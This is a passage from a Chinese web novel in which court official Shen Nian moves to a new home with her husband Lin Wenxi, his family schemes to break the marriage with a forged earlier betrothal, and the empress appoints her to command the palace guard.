沈年在炉鼎中设了一个小小的机关,那个刻有青鸟的水晶是她用三维激光内雕一早放在里面的。 罗从宛当朝点出了一只丘陵川藏匿银钱的船舶,丘陵川的算盘打空,被陛下发落打入了天牢。 罗从宛用了个看似很笨但万无一失的法子,丘陵川要转运大批银两途中必定会十分复杂隐秘,与其主动去找,不如广撒网在码头、密林、钱庄……各处去守株待兔。 只要蹲守到一处挑明出来,丘陵川便会自乱阵脚。 丘陵川被关进天牢后,倒抗住了好几日酷刑,但外面的风宪司余党很快乱做了一团,频频露出破绽。 罗从宛不到五六日便将账目上大数银款找到,陛下为拉拢朝臣当众将风宪司多年来搜罗的“辛秘”一把火烧为灰烬。 风光多年的风宪司几日之间轰然倒塌,朝臣们没了顾忌,有冤的诉冤,有仇的报仇,一时间又引出许多陈年旧案。 风宪司的人杀的杀,屠的屠,午门法场上的地被人血染得红的发亮,浸的京中街市里都一股挥散不去的血腥味。 司里的人屠尽了,这场杀戮却并未就此停歇。 那些给丘陵川做过探子的朝臣被一个个揪了出来,朝臣对这些藏在他们当中的暗钉似乎更为憎恨,只为丘陵川递过一两回消息的人也被朝臣怒参,最后一府抄家灭族,人头滚地。 沈父是在沈年被抬进殿中那日回府的,虽比先前平和不少,但还是免不了要挑林闻溪的错。 幸好沈年养病日日在府中,林闻溪除了偶尔听些冷言冷语,倒也没受什么难。 “三娘,父亲没从前那般尖刻,眼下这日子过的也还算安稳,不然明日还是别走了。” 入夜,林闻溪坐在镜前拆着发冠,向榻上坐着的沈年说话。 沈年:“我身上这伤迟早要好的,到时候我不在府里不知你会不会又被父亲刁难。” “那……要不要同母亲和父亲知会一声,这样偷偷溜走会不会不妥。” “同她们说了哪里还走的脱,日后我常回府来看母亲和父亲就是。” 林闻溪额头上的伤好的只剩了一点不起眼的青点,他又取了药膏出来涂了厚厚一层等着药干。 沈年撒下手中的书,打了个呵欠催他道:“你怎还坐那磨蹭,明日可要赶在母亲前面出门我可不等你了。” “我要同三娘一起睡。”林闻溪慌忙用帕子将药膏擦去,三两步便上了塌。 他喜欢夜里躺在沈年身侧抓着她的手说话,从前沈年日日疲累二人夜里很少有说话的间隙,眼下倒是有大把的空。 沈年最初几夜还对他每句话都有回应,后来日日听他在耳边念叨,跟听诵佛经一样很快就昏昏睡过去了。 今夜也一样,留林闻溪一人睁着眼睛捏着沈年的脸怄气,沈年天未亮醒来,见林闻溪撅着嘴一脸不畅快的睡颜。 沈年推着他起身。 林闻溪睡眼惺忪坐起来问:“三娘昨夜是不是嫌我烦了。” 沈年心虚笑了笑,捧着他的脸蛋亲了下。 “不烦,我们快些走吧。” 56 第56章 ◎新居◎ 沈年专门选了一处离沈府最远的院子,沈家在东街,院子在西街要绕半个京城才能到。 沈年和林闻溪从自己院子的小门里出府,一清早沈府的人听见车辕在长街上隆隆滚过的声响,后面还跟随着整齐沉重的脚步声。 他们都以为又是官差带着衙役去抄哪家哪府的院子了,近几日来这样的动静时常有,众人都已经习以为常。 反正抄谁的家也抄不到沈府头上来,她们的三娘子可是白玉所鉴的下凡神鸟,连京中街面上讨食的小乞儿都晓得这事。 声音远去,府里的人又回到酣梦之中。 迷梦转醒,小侍们端着木盆帕子去院中侍候,却发觉已经人去院空,他们的三娘子和正君,连带着屋子外成日围着的那堆侍卫都齐齐不见了踪影。 小侍们个个慌了神,手中的木盆巾帕都惊的哐当摔在地上,赶忙去沈父院中报信。 沈父步履匆匆赶来院中,进屋中一瞧,桌案上静静放着一纸书信。 展开信纸一看,上面写着几行字。 “母亲父亲与林氏多有不和,为保家宅安宁,女儿今日带林氏别院另居,既相见不如不见,不如就此两生安好。此事为女儿一人所定,望母亲父亲勿因此事迁怒林氏,待安顿好家宅女儿便回府为母亲和父亲请安。” 沈父将信纸拍在案上,黯然神伤连声叹道林闻溪是个祸水,迷的沈年一次次昏了头。 沈父在佛堂住了些时日自觉静了些心,沈年平日里对林闻溪宠惯他已甚少多言,眼下沈年将府里的人瞒的严实,悄悄摸摸的抛下府中双亲跑到外头住,着实让沈父伤了心肠。 沈修撰已出门府门上朝,沈父拉不下脸面亲自着人去请沈年回来,又唤了沈季前来哭诉。 “你瞧瞧这纸上写的什么话,说你母亲和我与林氏不和,怎么如今是一句错话也不能和那林氏讲了,年儿如今是有功有名了,一点不拿爹爹当回事,甚至连你母亲也不如何惧。” 沈季道:“父亲与林氏之间毕竟有过那么一桩事,妹妹夹在父亲与林氏二人之间也是万般无奈,如此不声不响带林氏离府别居想来是定好了主意,我去了也只是空走一趟而已。” “那传言出去,为父的这张脸要往哪里放。” “妹妹已在信中写了日后会常回府,父亲不如想个由头为妹妹圆过去。”沈季攥着沈父的手想了想道,“便说府里还有未出阁的男眷,陛下的侍卫在府中不好走动。” 沈父抽回手,板着脸不解道:“年儿如此糊涂行事,你还反叫我为她周全?” “以妹妹眼下的名声,她不愿回来谁能将她召回来,到时候白闹一场更是叫满京中的人看父亲的笑话。” 见沈父垂头沉思听进去了他的话,沈季又接着开口劝道:“父亲可放过风筝,这线攥的紧了风筝就易断线,有时候倒不如松一松手。” 沈父沉寂片刻长叹一声点了下头。 这院子定下之前林闻溪来瞧过,从院门进来是连通各屋的长廊,直穿过廊进去一眼便是宽阔的中庭,地上生着绿植铺着一条石子路,庭中有装饰的溪流和木桥,还有一圆亭。 走过中庭就是主屋和书房,其他屋子在院中四面环布。 整个院子格局简明,清新雅致,置身其中便觉惬意。 院里已经打理过一番,只需将二人搬来的东西摆放好就能住。 “林郎选的这院子还真是好看。” 沈年的腿还没大好,倚在桌沿上透过长窗看庭中的景致。 林闻溪低头忙着整理道:“所以这院子虽离主街远,但也不便宜呢。三娘的俸禄和陛下的赏银买这院子都花的所剩无几了。” 沈年笑着慢慢抬腿走到林闻溪面前的小凳子坐下和他说话逗趣:“我现在这副身子不能出门挣钱,可暂时要靠林郎接济了。” 林闻溪抬起脸满眼认真道:“我的银子都在三娘那里,省一些过也能支撑些时日。” 沈年忍不住捏捏他的脸颊,“和你说着玩呢,待我的腿能走动了便回工部上值。” 林闻溪闻言垂下嘴角半跪在她身前,抱上她的腰枕在膝上,“我和三娘好容易有了个属于我们的家院,三娘一去上值就又要日日奔忙,三娘不如晚些再去朝中和我在院中再相伴些日子。我会木雕、会做衣裳还会做糕点……也可以赚些钱的。” “早知不和你说那话了,你怎还当真了。是不是那天夜里把你吓着了还没缓过来,以前不是最想我的官做大一点让你有底气嘛。” 林闻溪摇着头:“我不想了,我只想日子平平淡淡安稳些,三娘每日都平安回来。” “近来真是变了不少,怪不得连林长羽害你那事都不提不追究了。” “母亲因林家的人生了气,我不怕与他们扯破脸皮,三娘日后什么情面也必不讲,再不与他们往来就是。他们嫉恨我和你三娘过的好,沾上他们总没有好事,从前的事再去牵扯又会让他们顺杆往上爬。” 沈年摸着林闻溪的额发,他比从前柔软许多还学会了适时放下仇怨,按理说沈年该欢喜才是,他和书里的那个恶毒反派不一样了。但一想到是他两三日在祠堂里磕头消磨掉的锐气,心里实在又不是滋味。 林闻溪仰起头温和向她笑了笑:“不过这银子花的值当,那些侍卫都站到院门外了,不像以前围在屋门口连句亲热话都不好说。” 沈年忽然俯下身握着林闻溪的脖颈在他唇间轻吻几下,贴着他的嘴巴问:“想说什么话不好说?” 林闻溪先前觉得沈年似乎对这桩事很冷淡,大多回都是他先提出来又或者是他有意勾引,沈年主动要他的次数一只手数的过来。 他有时甚至觉得是不是他的欲念过重。 他珍惜的回亲了沈年好几下,艰难出声问:“三娘是不喜欢和我做这事……还是我服侍的不好……三娘很少主动碰我。” “没有的事,我喜欢。”沈年又亲了亲他的眼睫,“我只是不想让你喝太多避子汤,一直喝那药难免伤身。” 林闻溪不知是羞还是愁,低了下头道:“我喝那药是为了让三娘安心,我请岳弟为我把过脉,岳弟说我这身子一年内是怀不上孩子的,不用也无碍。我日后停了药就是,三娘不必因此而忍耐。” “可先前一回就有,万一再出什么岔子……” 林闻溪将头垂的更低:“有桩事我一直不敢和三娘坦白……其实那孩子是我偷喝了几大碗坐胎药强行催来的。” 见沈年一瞬愣神,林闻溪有些后悔将这事说出来,抓着她的手声音有丝害怕道:“若是没那个孩子,说不准那时候三娘就要与我和离了,我一直藏在心里不敢说出口,三娘……会恨我吗?” 沈年到这时候能生他什么气,抱了抱他的我肩道:“都已经过去了,原谅你日后不提就成。” 林闻溪感激的将身体贴过去窝在她怀中,“我往后再不干这种事,三娘不喜欢孩子,我也不想着怀孕之事了。” “我并非不喜欢孩子,只是想着我们两个才都大多年岁,自己的命还没活明白,实在不必为世俗的桎梏而带另一条生命来这人世。” 林闻溪怔怔的点着头:“三娘的话真是稀奇我从未听人如此说过。只有我和三娘两个人,没人来分三娘的心神那更好。” 沈年不知说什么向他笑了笑,凑过脸迫不及待和他唇齿相亲,林闻溪慌乱的仰头回应,呼吸的间隙微微将脸偏过,害羞道:“三娘,窗子还没有关,会被看到的……” 沈年乱了气息,回头看了一眼,“我去关上。” 林闻溪红脸点了下头,等沈年站起来又伸手拉了下她的衣袖小声道:“我刚铺好了床榻,三娘关好窗来榻上,看看那床榻够不够软和。” 沈年不得不承认林闻溪说起这些话来很有一套,明明没什么特别字眼,却十足的勾引人。 匆匆将窗户闭紧,帐中林闻溪衣冠整齐的乖乖坐着等她。 沈年被他欲擒故纵勾的更心急了些,在他身上摸索了半天还没解开他的衣裳,林闻溪边迎合沈年的亲吻边自己探手过去扯衣带。 他里面穿着素白的里衣,肩上的衣裳被扯落大半,沈年在他肩上亲了亲,他情难自持自己躺倒枕在新被上,牵着沈年的手。 …… “三娘再睡稍会,我去给三娘备午膳。” 他坐起来抬起手背蹭了蹭下颌处的薄汗,他白净肌肤上落下几点痕迹,在日光下看格外粉粉的,沈年探手指上去摸。 “你不累,等我和你一同去。” “不累。”林闻溪抓住她的手腕,“三娘别这么摸我……” 他说着捡起榻上散乱的衣裳往身上披。 “再不出门,可就要被白石他们怀疑了。” 沈年:“那你等我。” 林闻溪边系衣裳边凑过脑袋来亲亲,“三娘腿还没好,跟我去要万一被烫到,三娘慢慢穿衣裳,我很快就做好回来。” 他动作极快,下榻蹬上靴,又去将窗户支起来出了屋。 用饭的时候,小薇从外面回来说沈父为二人圆话的事。 沈年和林闻溪闻言欢喜,多碰了几杯酒。 至于沈修撰还在因沈家祖坟冒青烟,出了个神使转世的人物而喜不自胜,过几日沈年再去她面前求一求情。 沈年化祸为福还又添了个什么虚名,林闻溪更是跟林府断绝了关系一般,林家人到沈府中去瞧沈年的病都被林闻溪不留情面的赶了出去。 林主君一心要向沈年讨修缮院子的银钱,可沈年又同林闻溪搬了地方住,院门口围着一圈穿甲持刀的侍卫,连院门口都不许停留站脚。 眼见银子是讨不回来,林主君在府中气的昏头。 然祸不单行,一日有一抬小轿悄然停在林府门前。 是那日递给林主君那张夜宴请帖的玉锦候府的人。 那人从轿中递给林府门口的侍从一纸名单。 侍从进门将名单交到林主君手上,他一瞧大惊失色,将纸抖落在地上。 这是当时去夜宴宾客的签名纸,上面除了林家的名字,赫然有几个风宪司的人名在上。 这些人名他先前不认识,眼下却清楚的很。 前几日这些人的头颅才在午门被斩下,地上的血还未干。 那根本不是什么夜宴,而是一场精心布置的圈套。 57 第57章 ◎婚约◎ 林主君一时吓得六神无主,慌忙捡起地上的纸往林长羽屋里去。 林长羽正坐在蹙眉凝神沉思,见林主君慌里慌张的进门来,心烦啧了一声站起身问:“父亲怎如此脸色,又出什么事了。” “羽儿”林主君干涩的张不开嘴,羞愧垂下头只是把手中的纸递过去瑟瑟缩缩道,“看看这个” 林长羽接过纸紧张扫了一眼,迅速将那纸团成一团攥紧在手心。 他紧紧压着眉,急迫得小声问:“父亲从哪里来的这纸。” “外头忽然来了个人,是那日给我夜宴请帖的。” 林主君更埋下了头,不敢看林长羽的脸,“那日我们应当是被人给算计了。” “我早说过这天底下没有那种好事,父亲不信。眼下栽了跟头,又来寻我此等要命的事,我一个男儿能有什么法子,还不快去寻母亲和两位阿姐。” 林主君拉着林长羽的衣袖发抖,“不能去不能去,你母亲她又不在意爹爹的死活,到时候为了保命将你我父子二人推出去抵罪该如何!” 见林长羽避之不及的推着他的胳膊,林主君急的眼里的泪快要掉出来,“那人将这张纸递进来说是要见我的面,若是想灭我们林府直接把这张纸交到朝廷中不更好,想来还有转圜余地,为父愚钝,不如羽儿陪为父去见那人一面。” 林长羽冷静一顿,那张纸上虽只有林主君一人的名字,但要是林主君被牵涉进去,林府也不可能独善其身。 虽担心那人邀林主君相见是另一个陷阱,可眼下不去林府就只有死路一条。 林长羽只好答应,随林主君出了府门,跟着那顶轿子去了一偏僻角落说话。 林长羽谨慎拿着扇面掩着面,强撑着开口为林家讨一点余地。 “林家在朝中素来有清名,只凭这一张纸就想定我们林府的罪责没那么容易。” “公子不必再躲藏。”那人按下林长羽手中的扇,向他狡黠一笑,“你们林家人何必再自欺欺人,公子说的林家清名可有一铜板的用处?” 林长羽被他的一句话噎的不吭声。 “眼下朝中对风宪司的余党可是赶尽杀绝,沈令使在你们林府被刺杀,林家本就有同谋之嫌,更何况公子身上还背着暗害兄长的疑罪,要是将这纸名单交到罗从宛手中,你们林家的下场” “你们主子派你前来不只是为我林家提前叫丧的吧。”林长羽冷冷看了对方一眼,直截了当问道,“想要林家做什么不如直说。” 对方呵呵笑了一声,“公子真是伶俐。” “我们主子要你们林家将你那位阿兄从沈令使手中弄回林家来,只要活的。” 一直瑟瑟发抖不敢言语的林主君插嘴进去问:“那黑了心的小蹄子,你们要他作甚?” 那人斜眼看了林主君一眼,抿着嘴不言语,眼神是责他问了不该问的事情。 林主君讪讪的舔了舔嘴唇,为难道:“那沈年如今连母亲父亲都舍了将那小蹄子藏在外头,院外又那么多陛下的侍卫,我们就是有天大的本事也难将他带出门。” 那人站着说话不腰疼,轻飘飘道:“那就是公子和主君该想的事情了。” 林长羽:“你们要活的,那可不好办。以沈三娘子现在的权势,她若死不松手守着人,什么法子都是白搭。” “若能成事我家主子自会策应。” 林长羽思忖片刻点了头,“这事可以做,不过你们手中那张名单……” 那日勾起嘴角拱手一拜,“主人与林家无仇无怨,此事若成自会当面将名单销毁。” 林长羽:“一言为定,请你家主子回去等些时日,我们需些时候准备。” 那人点头应下,回身钻进小轿中扬长而去。 “此事难如登天,羽儿怎一口就应下来了,难不成想到了什么好法子?” 二人回府钻进屋中小声切切说话。 林长羽漫不经心转起桌案上的茶盖,“我前几日一直在琢磨一事,刚巧与这桩事不谋而合。” 林主君:“何事?” “父亲可还记得再将五郎和沈三娘子定下婚事之前,还曾给五郎说过一门婚事。” “是说过。”林主君边点头边回想,“乡中老家的那些远房亲戚到京中来拜年,其中有我一侄女瞧上那小蹄子,求我将人许给她。差点就写了婚书按印,叫他知道了不知是装病还是真病在屋里躺了两三个月拖延。后来他自个寻到沈家的亲事,我想着他既愿跳这个火坑又能帮你母亲升官便推了我那个侄女。” 林长羽微笑道:“要让五郎从沈家离开,唯一的法子就是他与沈年绝婚。一郎不许两家,五郎之前许了人家,又入了另一府的门……这里头可有的是说头。” 林主君:“可……可当初和我侄女那桩婚终究也没做实,那五郎已跟了沈三娘一年多,这婚也悔不掉了。” “婚姻之事讲究父母之命,媒妁之言,父亲说婚事做实了那就是做实了。” “是能这么说,可这样一来不就是爹爹将他许了两家,到时候论起来又是爹爹的错。” 林长羽合手走过来向林主君摇了下头:“哪用的着父亲亲自出面,便说当日与父亲那侄女定了亲,过后父亲又将亲退了。至于那退亲的契纸山遥路远送没送到父亲那侄女手中,便是路上差役的责任,与我们林家无干。” “此计甚妙。”林主君兴奋的站起身拍了拍手掌,“我那侄女游手好闲,只要多砸些银两给她,她便没什么不能做的。” “父亲先去给你那位侄女写信唤她快马加鞭来京中,等事情成了再高兴也不迟。” “是……是,我这就去给老家去信。”林主君说着风风火火的出了屋门。 沈年在新院子中日子过的十分安逸,黄昏在院中树下乘凉,外面的侍卫将沈年的伤情日日向陛下回报,这两日陛下和工部的人常常来催她回去上值。 她腿上的伤口嵌的最深,走起来还是有些隐隐作痛,躺了近有一月,她走起路来都感觉有些生疏。 “这里有个小坡,三娘走慢点。”林闻溪跟在她身后出声提醒。 “我这腿日后不会瘸了吧。”沈年的停下脚仰天哀叹一声。 林闻溪噗嗤一声笑,“怎么会,岳弟说了只是伤的太深,休养不够的缘故。” 说着罗从宛从庭中穿过来,“不怪朝中三天两头来催,今岁酷暑许多州县都受了旱灾,到了冬日肯定要闹饥荒骚乱,加上霁王这个心头钉,陛下的心里可不是焦急难安。” “竟有这么严重。”沈年被林闻溪扶着在亭中坐下。 罗从宛面容严峻的点着头,“快到九月秋收的时节了,农户的田里的庄稼早都被晒死了,地里是要颗粒无收了。京中田里有你建的水车还有些收成,其他州县今冬可能要饿死人。” 沈年:“各州县应当都设有粮仓,再从宽裕些的州买些粮,应当能抵一阵子,也不至于将人饿死吧,” “朝中没钱,哪来的银子买粮赈灾。” “陛下从丘陵川那里不是抄了十几车的银两,怎会没银子使。” 罗从宛向她摇头比了个嘘的手势,凑过脑袋来小声道:“旱灾之事还算小,近来外面各州探子来报,百姓频频聚集闹事,恐怕迟早要闹出乱子,陛下的银子要用来招兵买马。” “是不是霁王所为?” “眼下尚不知晓,不过先帝荒废朝政,举苛政征重赋,一早就埋下了祸患,百姓不服官府是情理之中的事。” 沈年的面色跟着凝重起来,“明日我便回去上值,世道乱了对谁人都没有好处。” “先前我在兰城遇到一男子,名唤陈孟君,他是霁王和刘知夷所生之子,先前我不欲找他,可眼下的危局必须要找一找这人了。” 罗从宛不可思议道:“霁王与刘知夷竟有私情?还育有孩子?” “那孩子和两人生的很像,一眼便能看出。我若去找太过显眼,我想留张牌在手中,暂且还不想让陛下和宋昭佛知道此人。” “我替你去寻。”罗从宛很快接话道。 “你不觉得我这般做……是对陛下不忠吗?”沈年纠结开口问。 “先保全自身,才能保全世人。陛下至今还未将这些侍卫召回,换做我是你我也会如此。” 沈年眼眸一亮,抓着罗从宛的手笑道:“从宛,我从前以为你是那种无一丝杂质的纯臣,原来你是这样。” “你再抓着我,你家郎君醋坛子可要翻了。”罗从宛打趣抽回手。 沈年一回头,林闻溪慌忙避开自己的眼神假装捏树干上的褶皱。 “他吃什么醋,他还给你和我阿弟说亲事呢。”沈年说着戳了戳罗从宛的胳膊,“近来和我阿弟相处如何?若是两厢情愿不如早些成了婚事,也好叫我安心。” 罗从宛捂脸咳了一声,“成什么婚,我瞧他不怎么待见我。” “明日我回去帮你劝一劝他。” “不用……”罗从宛站起来,招手唤初安过来。 初安是跟着罗从宛那位甲卫为自己取的名字。 清茸跟着沈年进了京中整日郁郁寡欢在府中住不大惯,沈年便送他去了城郊庄子上,那里水清草绿,人少清静,清茸呆在那种种庄稼,酿酿酒,倒是好了很多。 “你去瞧过他了?”沈年抬头问初安。 初安嗯了一声,“隔着很远,他现在过的好,我不该去打扰。” “他问过我一次你呢。” “是吗?”初安冷寂的脸上生出暖意,惊喜抬起眼,“他……问我什么?” 沈年呵呵笑了一声,“就是一句平常的话,不经意提起的。” 沈年只想说清茸还记得她。 “那个女人这么久不见去哪了,要是死了的话请三娘子告诉我她的墓埋在何处,我要去她坟地上响一串鞭炮庆祝。” 当时清茸是这么问她的,沈年觉得还是不说出来的好。 58 第58章 ◎殿内◎ 入夜掌灯的时候,宫中的一内官携旨而来。 “陛下御体有恙,明日不临朝,召沈令使入宫觐见。” 沈年领了旨三拜九叩,做足了礼数。 内官端着笑将旨意交到沈年手中:“沈令使伤病未愈,何故行如此大礼?” “臣蒙陛下眷顾,不敢不感念陛下*圣恩,行此大礼也是为陛下祈愿御体得早日安康。” “沈令使一片忠心,待回到宫中本官定会转告陛下。” 沈年垂首谦逊微笑道:“这只是做臣子的本分。” 将内官送出院门,林闻溪捏了捏笑僵了的脸,偷瞟了眼门口的侍卫,苦愁着脸将院门关上。 他俯下腰替沈年拍了拍膝上沾着的泥草,而后扶着沈年进了房中关上门才出声说话。 “陛下何时将这些侍卫召回去,难不成要一直在此不走了?” “这些侍卫是来看守你我的,暂且不会走的。不过往后我不在院中,有她们在林府的人不敢再找上门来,你也可安宁。” 林闻溪端出沈年的朝服,平铺在长桌上边整理边说道:“我倒是没什么,只是三娘一举一动都被人盯着,若是陛下想过河拆桥我实在忧心三娘的安危。” 沈年在另半边屋里收拾自己这半月来画的图纸,打算明日呈给陛下,她拿着纸走过来握了握林闻溪的肩宽他心道:“你没听见今日从宛所说的,就是平了霁王,还有各州各县的生民。先帝留下一个烂摊子,东边补上西边漏,陛下若想亡羊补牢,留着我比杀了我有用。” “三娘的见识是要比我深不知哪去了。” 沈年挑了挑眉环屋子看了一圈,疑问道:“怎么这屋里有别人,你怎么还学外人溜须拍马起来了。” 林闻溪身子一歪依在沈年肩上,仰起脸两眼亮晶晶地瞧着她:“我学什么外人,我是一心钦佩三娘。” 沈年:“听得人身上起皮。” “那往后不说就是了。” 林闻溪露出笑脸,抬起胳膊戳了戳沈年,“三娘替我将这袖子挽起来,我熨衣裳。” 沈年低头握上他的手腕,仔细帮他卷起衣裳,林闻溪单手揽着她的腰注视着她的脸,痴迷的很。 沈年卷好转头看他暗自一笑,捂了下他的眼睛,推着他直起身来,“另只袖子还挽不挽。” “挽。”林闻溪拉下沈年的手牵着,又黏上来换只手抱着她。 沈年无奈边理着他的袖子边偏头亲了亲他,“你身边说话的人就我一个,成日围着我转才这般总想着黏我,日后我不在可怎么。” “我在院中等三娘回来。” 沈年琢磨了一下,“清早到天黑时日长着呢,与其日日苦等我消磨光阴,不如我请人来教你习武。” 林闻溪从沈年身上一下子直起身来,“三娘是觉得我现在……服侍不好你吗?我平日里有在意的,三娘忙的时候我便在院中转着圈得走路,我不是没有力气。” “你又想到何处去了?我是想着那日你撞到那贼人险些出事,往后我若是不在你会点武艺也有自保之力。” 林闻溪红着脸低下头,“我等着三娘也不会觉得闷,不过三娘想要我学那我学就是。” 沈年摸摸他的头,“那明日我就去为你寻摸个师傅来。” 林闻溪乖乖点了头,转身去熨衣裳。 他总觉得习武不该是男子做的事,他更喜欢给沈年煮汤做糕点吃。站在外头一日,不知会不会将他的脸上的皮肤晒粗糙,还会出汗在身上。若是沈年回来想抱他该如何,又或是亲他的脸没从前那么软和该如何。 但沈年平日甚少开口请他做什么,要他习武也是为他着想,他如何也不能忤了沈年的好意。 他摸了摸自己的脸,想着往后再多制些养颜的粉膏来涂。 “你想什么呢,当心烫了手。”沈年坐着瞧他心不在焉,不放心走过来将熨斗从他手中接过。 “走了下神,我来就好。”林闻溪探向沈年的手。 “黑灯瞎火的我瞧你是困了,”沈年往塌边推了推他,“去坐着歇会。” 林闻溪推辞不过,索性又去翻他那些子瓶瓶罐罐,在纸上写了些制膏药所需的东西,托沈年明日回来给他带。 翌日天未亮沈年从榻上起身,仔细洗沐一番出来,见林闻溪只穿着素净的里衣,抱着她的朝服坐在凳上昏昏欲睡。 沈年托起他的脸,“今日我回府支两个侍从过来,你也不用日日困成这般。” “我不是该随三娘回去给母亲和父亲请安。”他边整平沈年身上的朝服边问。 “我今日先回府去探探两位的口风再说。” 沈年将他昨夜写的纸折起来塞进衣襟中摆手出了院门,马车径直往宫门去。 远远瞧见朱墙绿瓦,宫门前车马禁行。 沈年独自行至宫门前见了内官,内官持着令牌引着她往陛下的勤政殿中去。 临近殿前,又拐了个弯将她带入一间低矮的耳房。 “沈令使来的早,陛下还未曾起身呢,先在此等待些许,若陛下召见自会有人来传。” 沈年点头道了一声是。 这耳房里空空如也连张桌凳也没摆,沈年站了小半个时辰伤口隐隐作痛并不见有半个人影来,便知这是陛下有意而为之。 沈年从空间中搬了张小凳坐下依着墙闭目养神,迷糊中听到门外脚步声,她一个激灵站起来将小凳藏回去,扶着墙捂着膝盖装作一瘸一拐的样子去应门。 “这下面的真是愈发不尽心,知道沈令使身上还有伤”连个坐也不晓得给!”内官忙上来扶着沈年的手,“沈令使无碍吧。” “无碍……”沈年摆了摆手,故作腿软瘫倒在地上,“可是陛下要召见?” 内官咬着牙要将她架起来,“是,陛下才用了药,正在勤政殿内等沈令使前去。” 沈年扶着墙垂首顿足:“我眼下这般形容怕是不宜面圣,求内官去帮我回禀陛下,待我休养两日再入宫,以免在陛下面前失了礼数。” 内官闻言匆匆而去,再回来时身后两名小侍手中端着一副拐。 “陛下体恤沈令使伤情不必行大礼,沈令使拄着这拐入殿觐见便可。” 沈年又是一副感激涕零的模样,接过拐一步三晃迈步出门,到殿门口一小段路走了几歇的工夫。 进了殿中玄色地砖擦的发亮,正中摆着顶香炉青烟缕缕散出,古木架上陈设着素瓷美玉,挂着一整面墙的名家书画。 与在兰城所见的素台阁别无二致。 内官扶着沈年在珠帘前站停,依礼是不能直视天颜的,沈年垂着头依稀见珠帘内的软榻上倚着一人。 “臣叩见陛下。” 她说着动作缓缓的撩开衣摆,作势要跪下行礼。 微妙僵持几瞬,里头的陛下先出声:“沈爱卿伤病未愈,免礼赐座。” 内官搬来一张凳,搀着沈年坐下,沈年低着头:“谢陛下恩典。” “不知陛下召臣来所为何事。” “先帝骤然崩逝,朕仓促登基身边可用之人少之又少,幸得沈卿为朕解忧,今日召沈卿前来是有一事要托付。” 沈年拱了拱手,“臣愧不敢当,但凭陛下差遣。” “沈卿先看看这个。”陛下抬手示意身旁左右将一封奏折送到沈年手中。 沈年打开一看是宋昭佛给陛下的密折,上面所书的是她几月来查到的霁王多年来囤积的兵甲粮食,足以守备整个京城两年之久。奏折中提及她遇刺那夜的前几日,霁王暗中频繁调动府兵,是那夜她弄出那么大动静,让霁王暂缓了计划。 沈年看罢,只觉怪不得陛下好端端的就病了。 幸亏这霁王是个谨慎求稳的人,若她真头脑一热带府兵逼宫,也许陛下就会被她斩于刀下了。 “朕的安危要托付在沈卿身上了。”陛下不知何时走到了她面前,沈一抬头慌忙起身要跪地,陛下按住她的肩,“朕可信你否?” 沈年不知搭错哪根筋,怔怔仰起脸盯着陛下看,迟钝的点了下头。 回过魂来才一瞬间埋下脸跪地,“臣冒犯天颜,失礼请陛下责罚。” 陛下生了一张婉约平和的脸,并不像多疑狭隘之人。 沈年不知哪里来的自信,觉得陛下并不会罚她。 “无碍。”她跪伏在地上听头顶的陛下出声。 “朕将宫内守卫之事托付于你,沈爱卿造的出水车,向来也能制的出弓箭刀戟。” 沈年顿了顿道:“臣领旨。” 沈年从殿中而出,行了一段总觉得忘了什么事却又想不起来。 从宫门中出来坐上马车,才猛的想起来内官给她的那根拐还留在殿中,她居然这么行动自如的大落落走出殿门。 她这不算是欺君嘛。 她惊慌的拍着脑门狂叫。 一路提心吊胆的回到虞部司中,所幸等来的事陛下的任命诏书。 从二品九门殿前司,说是一步登天也不为过。年纪轻轻就坐上此等要职司内的众僚都不由频频啧舌。 “沈令使日后还会回司中来吗?”司内一官员俯身端着一盏茶奉到她身边笑问。 “那是自然,工部的事项还是主职,往后还要继续和几位同僚共事。” 闻言司中传出众官一阵笑声,围到沈年身边恭贺。 沈年尴尬摆手:“各位回案前各司其职,不必围在此。” 几人连声称是,回到案前。 霁王箭在弦上,下一回不知会不会就在明日。 从前只有她一个人,眼下有了在朝上做的那一出青鸟化身的把戏,倒是方便她将空间内设备搬出几台来,在工部选几位信的过的人将用法教与她们,便可效率倍增。 沈年下值后偷偷将徐珞宁请上马车,将此事交代给了她,徐珞宁在工部的时日比她要久的多,她看中的人会更可信些。 徐珞宁揽上沈年的肩两眼放光道:“这桩事放心交到我身上,我正发愁这几日不想回府呢。你倒是羡慕你能从府中搬出去一人独住。” 沈年笑说:“怎么?你母亲又训你了?” “是我那位庶妹,也不知怎么,那日看过你回府,就和刘氏闹的不快,下人传说听到两人在屋里吵闹着要和离呢!为这事书塾也不去了,整日出门买醉,我母亲发火回去连带着我也跟着触霉头。” 沈年心虚的抬起手背抹了抹下巴。 “你说这,说要成婚的时候要死要活的,没过几日就闹到这副田地,真叫什么事呀!” 沈年苦口婆心劝也劝过阿久五六回了,只是他听不进去,沈年也别无他法。 只能静静听着不敢吭声。 辞了徐珞宁,沈年回沈府的路上走走停停,将林闻溪写给她的东西一并都买齐了。 59 第59章 ◎梦中◎ 半月未归,沈府门前光彩依旧,似乎还换了两盏新灯笼,只是大门紧闭,连素日在门口候着迎客的女使也不见。 沈年被小薇搀着上了石阶,登登叩响沈府门上的铜环。 “主家今日去庙中进香,请客择日再来。”门后有人出声道。 “是我,母亲与父亲都不在府中?” 沉重的木门被推开,里面的女使笑着迎她,“原是三娘子回府了,主家只是不堪宾客所扰才让我等编了个说辞,正在祠堂中进香呢。” 沈年迈过门槛,“什么客?” “什么客都有,有过府拜谒求荐的,偏门宗亲来认亲的,还有抬着聘礼上门提亲的” 沈年:“提谁的亲?” 女使答道:“自然是岳哥儿的亲事。” 沈年闻言一慌:“这母亲她没给岳弟定下亲事吧!” “若是定下,主家也不必闭门谢客了。再说侧君说三娘子为岳哥儿和罗大人说了亲,主家似乎有意看中罗大人,只是罗大人一直未上门来提亲。” 沈年边走边说道:“从宛她初来京中,俸禄无多,怕是被其他府上抬来的聘礼扼住了,带我去见母亲说明这事。” “是。” 女使一路引着沈年到了祠堂门前,沈年注意到门框上修补过的痕迹站定看了眼,“这是正君撞坏的?” 女使难堪向沈年笑了一下,道了一声是。 “他倒还真挺有力气,是个好苗子。” 女使抬眼疑惑看向沈年,不知她这没来由的话是什么意思。 沈年笑了笑道没什么,唤女使回去。 推门迈进祠堂,整墙牌位前明烛恍恍,沈年猛地一瞧见不免觉得有丝渗人。 沈修撰一人跪在地板上,默然无声。 沈年跟着进了三根香,在沈修撰身旁一同跪下磕了磕头。 “女儿不告而别,在此向母亲请罪。” 沈修撰又合手向前拜了拜平静道:“罢了,你如今官至殿前司,是该有个自己的府邸。” 沈年闻言挂起笑脸往前凑到她跟前道:“母亲如此开明,是女儿之幸。” 